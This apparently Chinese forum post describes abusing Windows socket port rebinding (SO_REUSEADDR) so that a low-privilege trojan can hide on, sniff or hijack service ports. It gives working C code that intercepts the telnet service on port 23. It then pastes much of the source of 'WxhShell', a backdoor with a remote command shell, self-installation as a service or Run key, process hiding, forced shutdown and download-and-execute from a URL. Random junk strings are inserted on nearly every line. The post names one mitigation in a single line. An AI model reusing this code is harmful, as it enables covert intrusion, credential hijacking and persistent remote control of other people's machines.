社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17011阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %3"U|Za+   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FgrVXb_q  
XJy.xI>;  
  saddr.sin_family = AF_INET; ukc 7Z OQ  
d+ZXi'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xdz 6[8 d8  
R?2HnJh  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G%zJ4W%  
D@ !r?E`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DnG9bVm>  
vifw FPe  
  这意味着什么?意味着可以进行如下的攻击: h;y}g/HZ  
]l+<-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @$;8k }  
;_|4c7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >ke.ZZV?  
=YfzB!ld  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (\r^ 0>H  
9vwm RVN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~Lg ;7i1L  
uqa pj("  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YK$[)x\S  
 4~ L1~Gk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Hvy$DX|p  
'jO8C2Th%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !>=lah$&  
=n_z`I  
  #include XzqB=iX  
  #include _8F;-7Sz  
  #include a\oz-`ESa  
  #include    (!J;g|58  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YjJ^SU`*  
  int main() v6[VdWOx5  
  { Tp.]{*  
  WORD wVersionRequested; pFZ$z?lI  
  DWORD ret; -1NR]#P'  
  WSADATA wsaData; iQT0%WaHl  
  BOOL val; Li0+%ijM  
  SOCKADDR_IN saddr; :RJo#ape  
  SOCKADDR_IN scaddr; K :+q9;g  
  int err; JKO*bbj  
  SOCKET s; Nh/i'q/  
  SOCKET sc; in,0(I&I  
  int caddsize; m|x_++3  
  HANDLE mt; {Oq8A.daJ  
  DWORD tid;   r!eW]M  
  wVersionRequested = MAKEWORD( 2, 2 ); Iw)m9h  
  err = WSAStartup( wVersionRequested, &wsaData ); % WXl*  
  if ( err != 0 ) { `d4xX@  
  printf("error!WSAStartup failed!\n"); I.|b:c xN  
  return -1; ycki0&n3  
  } *zDDi(@vtK  
  saddr.sin_family = AF_INET; -MsL>F.]  
   ad47 42  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NV?XZ[<*<  
~)>.%`v&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); UzIE,A  
  saddr.sin_port = htons(23); ]q[(z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l,(:~KH|  
  { k\*?<g  
  printf("error!socket failed!\n"); |22vNt_  
  return -1; Dd/]?4  
  } V*(x@pF  
  val = TRUE; k$8Zg*)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +oO7UWs>6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F^%\AA]8  
  { .m>Qlh  
  printf("error!setsockopt failed!\n"); Q*1'k%7  
  return -1; +ug/%Iay{k  
  } _y>drvg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h)j#?\KYm9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <gH-`3 J6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O0`ofFN  
V lO^0r^z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) be]/ROP>H  
  { @(E6P;+{  
  ret=GetLastError(); u8|CeA  
  printf("error!bind failed!\n"); q+<,FdG  
  return -1; DKem;_6OQ  
  } upZc~k!1\  
  listen(s,2); pr4y*!|Y$  
  while(1) 0raFb,6l  
  { Knb(MI6  
  caddsize = sizeof(scaddr); kjdIk9 Y  
  //接受连接请求 O:T 49:R}r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /0|1xHs  
  if(sc!=INVALID_SOCKET) 7^M$u\a)U  
  { ; qbK[3.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n6Uf>5  
  if(mt==NULL) 7 H:y=?X6  
  { s?->2gxhx  
  printf("Thread Creat Failed!\n"); Jc]66   
  break; h4hp5M  
  } ZHeq)5C ;f  
  } Ik5V?  
  CloseHandle(mt); 6biR5&Y5U&  
  } $MNJsc^n  
  closesocket(s); VnB HQ.C  
  WSACleanup(); =OPX9oG  
  return 0; h>cjRH?e  
  }   JTBt=u{6^  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1|H4]!7kE  
  { o~"Y_dLsW  
  SOCKET ss = (SOCKET)lpParam; \b!E"I_^  
  SOCKET sc; Ya!e8 3-r  
  unsigned char buf[4096]; 3Zyv X]@_  
  SOCKADDR_IN saddr; yuJ>xsM  
  long num; o&z[d  
  DWORD val; Ef ?|0Gm  
  DWORD ret; R-OO1~W=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IqsUtWSp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |r)QkxdU,  
  saddr.sin_family = AF_INET; &V+KM"Ow  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x FM^-`7  
  saddr.sin_port = htons(23); qP##C&+#q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~%M*@ fm  
  { } snS~kx  
  printf("error!socket failed!\n"); Y}t)!}p$r  
  return -1; /cUu]#h  
  } 4(oU88 z  
  val = 100; {[Y7h}7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =2NrmwWZs  
  { 5/h-H r  
  ret = GetLastError(); PE/uB,Wl  
  return -1; x{K"z4xbI  
  } Q^3{L\6_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l`A&LQ[  
  { -{9mctt/gE  
  ret = GetLastError(); UQ7]hX9  
  return -1; p9u'nDi  
  } cZ)mp`^n7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tu* uQ:Ipk  
  { %eIaH!x:  
  printf("error!socket connect failed!\n"); "$o>_+U  
  closesocket(sc); V rx,'/IS8  
  closesocket(ss); ='4)E6ea?  
  return -1; :FH&#Eq~4  
  } Is<XMR|{  
  while(1) +/RR!vG,  
  { n=F rv*"Z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5G(dvM-n  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r<:d+5"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U$+,|\9  
  num = recv(ss,buf,4096,0); 8HJ,6Lr;  
  if(num>0) 8Yf*vp>T/x  
  send(sc,buf,num,0); >1Hv c7DP  
  else if(num==0) +lVA$]d  
  break; S$$SLy:P  
  num = recv(sc,buf,4096,0); %,HUn`  
  if(num>0) ry=8Oq&[~  
  send(ss,buf,num,0); ~TS!5Wiv  
  else if(num==0) :3D6OBkB  
  break; Q3&D A1b`  
  } ZN;ondp4  
  closesocket(ss); <Lxp t  
  closesocket(sc); qGMU>J.;c  
  return 0 ; PLz+%L;{  
  } A[7H-1-  
(hZNWQ0  
RN[x\",  
========================================================== D]}~`SO  
z\ONw Ml  
下边附上一个代码,,WXhSHELL #5{xWMp/0  
fKr_u<|  
========================================================== K\;4;6 g  
`5wiXsNjLY  
#include "stdafx.h" w@Q~ax/  
Xxd D)I  
#include <stdio.h> >Ovz;  
#include <string.h> O#18a,o@  
#include <windows.h> [f  lK  
#include <winsock2.h> SG\ /m'F  
#include <winsvc.h> RHNAHw9  
#include <urlmon.h> #rGCv~0*l  
K39I j_3  
#pragma comment (lib, "Ws2_32.lib") MnF|'t  
#pragma comment (lib, "urlmon.lib") >yn]h4M  
_RxnB?  
#define MAX_USER   100 // 最大客户端连接数 MmvOyK NZF  
#define BUF_SOCK   200 // sock buffer B]<N7NYn1  
#define KEY_BUFF   255 // 输入 buffer rKslgZhQ  
>yT1oD0+x  
#define REBOOT     0   // 重启 &1^~G0 Rh\  
#define SHUTDOWN   1   // 关机 |IzL4>m:;  
h>[ qXz  
#define DEF_PORT   5000 // 监听端口 JLoE)\Mi  
k{F6WQ7  
#define REG_LEN     16   // 注册表键长度 8?kB+}@6X  
#define SVC_LEN     80   // NT服务名长度 -X%t wy=  
@g;DA)!(  
// 从dll定义API s91[DT4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6 ]<yR> '  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C\BKdx5;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dQ-g\]d|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #Y-_kQV*  
Fec4#}|  
// wxhshell配置信息 <6+B;brh  
struct WSCFG { S\t!7Xs%*U  
  int ws_port;         // 监听端口 7zE1>.  
  char ws_passstr[REG_LEN]; // 口令 <^{(?*  
  int ws_autoins;       // 安装标记, 1=yes 0=no V62lN<M  
  char ws_regname[REG_LEN]; // 注册表键名 tCR~z1  
  char ws_svcname[REG_LEN]; // 服务名 ^*$!9~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1)ij*L8k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G^K;+&T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Bt$,=k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )*uotV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f!5w+6(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G}NqVbZ9]  
&LB`  
}; y ,`0f|  
#{?RE?nD  
// default Wxhshell configuration f61vE  
struct WSCFG wscfg={DEF_PORT, wnXU=  
    "xuhuanlingzhe", })uyq_nz  
    1, OR+py.vK  
    "Wxhshell", :2vuc!Pu  
    "Wxhshell", |{ZdAr.;  
            "WxhShell Service", ScVbo3{m*T  
    "Wrsky Windows CmdShell Service", r #w7qEtD  
    "Please Input Your Password: ", +N2ILE8[<  
  1, IFa~`Gf[  
  "http://www.wrsky.com/wxhshell.exe", 1LvR,V<  
  "Wxhshell.exe" JHZjf7g$k  
    }; ~Ij/vyB_  
+eLL)uk  
// 消息定义模块 mC0Dj O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w6Mv%ZO_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SXJjagAoML  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pSYEC,0B  
char *msg_ws_ext="\n\rExit."; <~_XT>`y  
char *msg_ws_end="\n\rQuit."; sP% b? 6  
char *msg_ws_boot="\n\rReboot..."; swJQwY   
char *msg_ws_poff="\n\rShutdown..."; o :4#Ak S  
char *msg_ws_down="\n\rSave to "; 9 p^gF2?k  
Q6 m.yds  
char *msg_ws_err="\n\rErr!"; $ZB`4!JxG  
char *msg_ws_ok="\n\rOK!"; M&9urOa`  
.XkVdaX  
char ExeFile[MAX_PATH]; "}-S%v`)z  
int nUser = 0; ,zK E$  
HANDLE handles[MAX_USER]; ;/+U.I%z  
int OsIsNt; n3-VqYUP  
08%Bx~88_%  
SERVICE_STATUS       serviceStatus; 0XqxW\8_l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G)Y,*.,  
a <F2]H=J  
// 函数声明 2vsV :LS.  
int Install(void); IAe/)  
int Uninstall(void); pW>{7pXn  
int DownloadFile(char *sURL, SOCKET wsh); AUIp vd  
int Boot(int flag); uq54+zC  
void HideProc(void); ;mwnAO  
int GetOsVer(void); '^$+G0jv  
int Wxhshell(SOCKET wsl); :IfwhI)  
void TalkWithClient(void *cs); ?Drq!?3PDc  
int CmdShell(SOCKET sock); %9S0!h\  
int StartFromService(void); o?a3hD  
int StartWxhshell(LPSTR lpCmdLine); MQ0r ln?  
l5KO_"hy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E7aG&K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O.xtY @'"  
Q[|*P ] w  
// 数据结构和表定义 ]H\tz@ &  
SERVICE_TABLE_ENTRY DispatchTable[] = Y}<%~z#.4  
{ %yk_(3a  
{wscfg.ws_svcname, NTServiceMain}, %k )H7nj  
{NULL, NULL} Eciu^  
}; ~#}T|  
K(d+t\ca  
// 自我安装 QgQ$>  
int Install(void) X|ZAC!J5>  
{ K,%CE ].  
  char svExeFile[MAX_PATH]; #Q*V9kvU/H  
  HKEY key; BNI)y@E^X  
  strcpy(svExeFile,ExeFile); WY!4^<|w"  
M'|p<SO]  
// 如果是win9x系统,修改注册表设为自启动 oVPr`]  
if(!OsIsNt) { }N$f=:iI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 10OkrNQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;^E_BJm  
  RegCloseKey(key); s;* UP   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >V)"TZH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lI.oyR'  
  RegCloseKey(key); oM Z94 , 3  
  return 0; e t@:-}  
    } M6Np!0G  
  } a_?b <  
} $gD8[NAIx=  
else { YhS_ ,3E  
dt+r P%  
// 如果是NT以上系统,安装为系统服务  [)~1Lu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7C,giCYU  
if (schSCManager!=0) `M 'tuQ M  
{ A>2_I)  
  SC_HANDLE schService = CreateService G :k'm^k  
  ( }f?[m&<  
  schSCManager, ubOXEkZ8N  
  wscfg.ws_svcname, .8!\6=iJB  
  wscfg.ws_svcdisp, v~x4Y,m%  
  SERVICE_ALL_ACCESS, ih^FH>@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c"Vp5lo0  
  SERVICE_AUTO_START, HK~SD:d  
  SERVICE_ERROR_NORMAL, QeuM',6R  
  svExeFile, %!(C?k!\  
  NULL, rVl 8?u y  
  NULL, Dd pcov  
  NULL, -eyF9++`  
  NULL, 2Ki_d  
  NULL L/C~l3  
  ); seBmhe5qR  
  if (schService!=0) $/ IFSB9  
  { cGgfCF^`  
  CloseServiceHandle(schService); %'2.9dB  
  CloseServiceHandle(schSCManager); 4\ Xaou2V[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'o#oRK{#  
  strcat(svExeFile,wscfg.ws_svcname); 51Y%"v t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XC^*z[#4{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P@vUQ  
  RegCloseKey(key); d!0rq4v7  
  return 0; ~nfOV*  
    } 86Q3d%;-yo  
  } _Tor9Tj  
  CloseServiceHandle(schSCManager); ?<C(ga  
} <%S)6cw(3  
} !uW*~u  
|yeQz  
return 1; 8TeOh 1\  
} S, AxrQc  
~at@3j}W  
// 自我卸载 f/#Id]B  
int Uninstall(void) u5k {.&  
{ `HXv_9  
  HKEY key; :!oJmvy  
P7XZ|Td4*  
if(!OsIsNt) { S1U0sP@o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o&E8<e  
  RegDeleteValue(key,wscfg.ws_regname); pS ](Emn`.  
  RegCloseKey(key); <Q9l'u]3$c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $5JeN{B  
  RegDeleteValue(key,wscfg.ws_regname); ]wU/yc)e  
  RegCloseKey(key); $e7%>*?m  
  return 0; {k_\1t(/  
  } VRQ`-#  
} ;kk[x8$  
} qS/}aDk&  
else { 5 :IDl1f5  
.h=n [`RB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {S{%KkAV  
if (schSCManager!=0) m1pA]}Y/5o  
{ .Q!d[vL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z&Ob,Ru  
  if (schService!=0) FprdP*/  
  { Ur xiaE  
  if(DeleteService(schService)!=0) { H_RfIX)X  
  CloseServiceHandle(schService); %(W&(eN  
  CloseServiceHandle(schSCManager); SPb +H19;  
  return 0; mxgT}L0i  
  } uAA2G\3  
  CloseServiceHandle(schService); F;ttqL  
  } =;0-t\w!  
  CloseServiceHandle(schSCManager); [n[dr@J7v  
} *0>`XK$mWo  
} toPbFU'  
5VTVx1P[8  
return 1; /(JG\Ut  
} e&z@yy$  
2X\Pw  
// 从指定url下载文件 BwWSztJ+B  
int DownloadFile(char *sURL, SOCKET wsh) )%@7tx  
{ 4}m9,  
  HRESULT hr; IrL%0&*hS  
char seps[]= "/"; g9" wX?*  
char *token; Xb%Q%"?~  
char *file; !ddyJJ^a  
char myURL[MAX_PATH]; N4ZV+ |  
char myFILE[MAX_PATH]; X+]>pA  
~-zIB=TyK  
strcpy(myURL,sURL); nnj<k5  
  token=strtok(myURL,seps); (U&  
  while(token!=NULL) 5bt>MoKxv  
  { m:h6J''<Z*  
    file=token; AZQQge  
  token=strtok(NULL,seps); a|z-EKV  
  } !Sn|!:N4  
=Mx"+/Yo*  
GetCurrentDirectory(MAX_PATH,myFILE); 1@p,   
strcat(myFILE, "\\"); ]Kq<U%x$  
strcat(myFILE, file); X~jdOaq{F:  
  send(wsh,myFILE,strlen(myFILE),0); ~Tt@ v`}  
send(wsh,"...",3,0); eY :"\c3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vIJ5iLF  
  if(hr==S_OK) [<53_2]~  
return 0; YAc:QVT87  
else L4Jm8sy{  
return 1; 'UsR/h5T  
@6G)(NGD  
} ;"nO'wN:h  
#1haq[Uv7  
// 系统电源模块 DKt98;  
int Boot(int flag) our ^J8  
{ X0 |U?Ib?  
  HANDLE hToken; k3$'K}=d  
  TOKEN_PRIVILEGES tkp; M^'1Q.K  
>;4q  
  if(OsIsNt) { 68z#9}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mvjx &+q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  9Do75S{(  
    tkp.PrivilegeCount = 1; 0;TiNrzg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9$$  Ijf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4nm.ea|  
if(flag==REBOOT) { n' mrLZw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fsjLD|?|:  
  return 0; )(G<(eiD  
} YxM\qy {Vr  
else { #[M^Q h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _5 SvZ;4  
  return 0; ]z'L1vQl7  
} }SWfP5D@  
  } bQ>wyA+G&E  
  else { !LH;K  
if(flag==REBOOT) { /4Wf\ Zu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R8[VD iM6E  
  return 0; &C MBTY#u  
} PWS8Dpb  
else { OF<:BaRs/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PV,Z@qm@^  
  return 0; BaIpX<$T  
} 75H!i$(*+  
} SHYekX  
)*}\fmOv{  
return 1; !PoyM[Z"f  
} (QIU3EN  
pHR`%2!"t  
// win9x进程隐藏模块 gtH^'vFZ  
void HideProc(void) 'E#L6,&  
{ !KXcg9e  
Q#yHH]U)X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N_:!uR  
  if ( hKernel != NULL ) fV4eGIR&  
  { xKL(:ePS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S".|j$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R5b,/>^'A  
    FreeLibrary(hKernel); uD{-a$6z  
  } $o+@}B0)  
*8qRdI9  
return; a?Fz&BE  
} O(evlci  
)X#$G?|Hn  
// 获取操作系统版本 " xC$Ko _  
int GetOsVer(void) W!el[@  
{ )]Zdaw)X  
  OSVERSIONINFO winfo; w`boQ_Ir  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L7 FFa:#  
  GetVersionEx(&winfo); w@P86'< v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b6e 2a/x  
  return 1; 2|!jst  
  else D_F1<q  
  return 0;  1^hG}#6_  
} ?jO<<@*2S  
f~?5;f:E  
// 客户端句柄模块 l-IA Q!d  
int Wxhshell(SOCKET wsl) 2bXCFv7}  
{ ,|+{C~Ojx  
  SOCKET wsh; siuDg,uqK5  
  struct sockaddr_in client; <!W9E M  
  DWORD myID; \SmYxdU'>  
NSRY(#3  
  while(nUser<MAX_USER) 6a]Qg99\  
{ h/aG."U  
  int nSize=sizeof(client); ?)qm=mebY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *Q -uE  
  if(wsh==INVALID_SOCKET) return 1; '&AeOn  
LD|T1 .  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ywjD.od"v  
if(handles[nUser]==0) *~#`LO  
  closesocket(wsh); ]R"n+LnI:=  
else r_^]5C\  
  nUser++; l>Zp#+I-  
  } j}%C;;MPH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O[}2  
d m83YCdL  
  return 0; oe_,q&e  
} 5zJ#d}%}S"  
SsL>K*t5  
// 关闭 socket ,-1taS  
void CloseIt(SOCKET wsh) P^/e!%UgC  
{ xtS0D^  
closesocket(wsh); bu\D*-  
nUser--; ^@q $c  
ExitThread(0); `ucr;P  
} >\ym{@+*  
A$'rT|>se  
// 客户端请求句柄  7w|4BRL  
void TalkWithClient(void *cs) ~gbq^  
{ L5>.ku=T  
?37Kc,o  
  SOCKET wsh=(SOCKET)cs; z9*7fT  
  char pwd[SVC_LEN]; qg-?Z,EB  
  char cmd[KEY_BUFF]; DvXbbhp  
char chr[1]; x42m+5/  
int i,j; L sMS`o6  
g~=#8nJ  
  while (nUser < MAX_USER) { R<-(  
}3mIj<I1;  
if(wscfg.ws_passstr) { a?9Ka!O4s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TL_8c][.4$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,U/ZG|=v  
  //ZeroMemory(pwd,KEY_BUFF); ul3._Q   
      i=0; hAp<$7  
  while(i<SVC_LEN) { |Gh~Zu p  
-^LEGKN  
  // 设置超时 GKKf#r74  
  fd_set FdRead; =h 2zIcj  
  struct timeval TimeOut; B?J #NFUb  
  FD_ZERO(&FdRead); h"G#} C]  
  FD_SET(wsh,&FdRead); +V6N/{^ 5  
  TimeOut.tv_sec=8; LHz-/0 [  
  TimeOut.tv_usec=0; }@:vq8%Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !'^gqaF+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E5G=Kh[NP  
\{[Gdj`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @bj3 N  
  pwd=chr[0]; xW\iME  
  if(chr[0]==0xd || chr[0]==0xa) { >;.'$-  
  pwd=0; LHb(T` .=  
  break; C. Hr  
  } DLv\]\h}L  
  i++; |%R}!O<.c  
    } 7"`%-a$7  
257pO9]  
  // 如果是非法用户,关闭 socket ?HBNd&gZ1G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "-+5`!Y  
} |BGQ|7DyG  
O!(M:.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !>{` o/dZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2WRa@;Tj  
3U0>Y%m|,  
while(1) { ;{79d8/=  
^b]h4z$  
  ZeroMemory(cmd,KEY_BUFF); 9"3 7va  
OsMU>v }m  
      // 自动支持客户端 telnet标准   0?KY9  
  j=0; SM2QF  
  while(j<KEY_BUFF) { p^~ AbU'6~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I dsPB)k_  
  cmd[j]=chr[0]; "/e:V-W   
  if(chr[0]==0xa || chr[0]==0xd) { \YE(E04w57  
  cmd[j]=0; K]{Y >w  
  break; WleE$ ,  
  } :nZVP_d+  
  j++; {2EIvKu3:  
    } bhqBFiuhH  
-\OvOkr  
  // 下载文件 kQ5mIJ9(  
  if(strstr(cmd,"http://")) { 3":vjDq$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .tv'`  
  if(DownloadFile(cmd,wsh)) 50#iC@1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j\kT H  
  else )YE3n-~7{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _?"P<3/iF  
  } WC6yQSnY&  
  else { F7!g+LPc<  
WrB:)Q(8=  
    switch(cmd[0]) { d <{ >&  
  ^O#>LbM"x  
  // 帮助 v?Z30?_&h  
  case '?': { TR;"&'#k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w$Zi'+&*  
    break; 0_F6t-  
  } 87; E#2  
  // 安装 us j:I`>  
  case 'i': { -|0nZ  
    if(Install()) aQjs5RbP~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6_Ps*Ed  
    else &8p]yo2zO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =E6ND8l@2  
    break; yx0wR  
    } I5#KLZVg  
  // 卸载 cQg:yoF  
  case 'r': { ``X1xiB  
    if(Uninstall()) R;mA2:W)x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b |SDg%e  
    else C K#^`w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Up5+7k@  
    break; Pz\4#E]  
    } ZhqGUb  
  // 显示 wxhshell 所在路径 )RUx  
  case 'p': { 77 g<`}{  
    char svExeFile[MAX_PATH]; d- X6yRjnj  
    strcpy(svExeFile,"\n\r"); M Ewa^  
      strcat(svExeFile,ExeFile); >W?i+,g  
        send(wsh,svExeFile,strlen(svExeFile),0); Nm{+!}cC  
    break; /penB[ 1i  
    } _cc3 7[  
  // 重启 'zJBp 9a%  
  case 'b': {  !n`9V^`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %LM2CgH V  
    if(Boot(REBOOT)) H*.v*ro9_  
